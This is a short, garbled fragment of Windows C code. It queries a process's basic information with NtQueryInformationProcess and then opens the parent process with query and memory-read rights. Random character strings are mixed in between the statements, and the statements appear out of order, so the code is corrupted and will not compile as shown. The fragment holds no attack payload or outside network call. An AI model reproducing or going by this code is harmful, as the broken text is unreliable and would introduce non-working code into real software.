if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0P$1=oK 8A#,*@V[ CloseHandle(hProcess); ~CNB3r5R @G4Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ], lLDUZ\ if(hProcess==NULL) return 0; Tn& |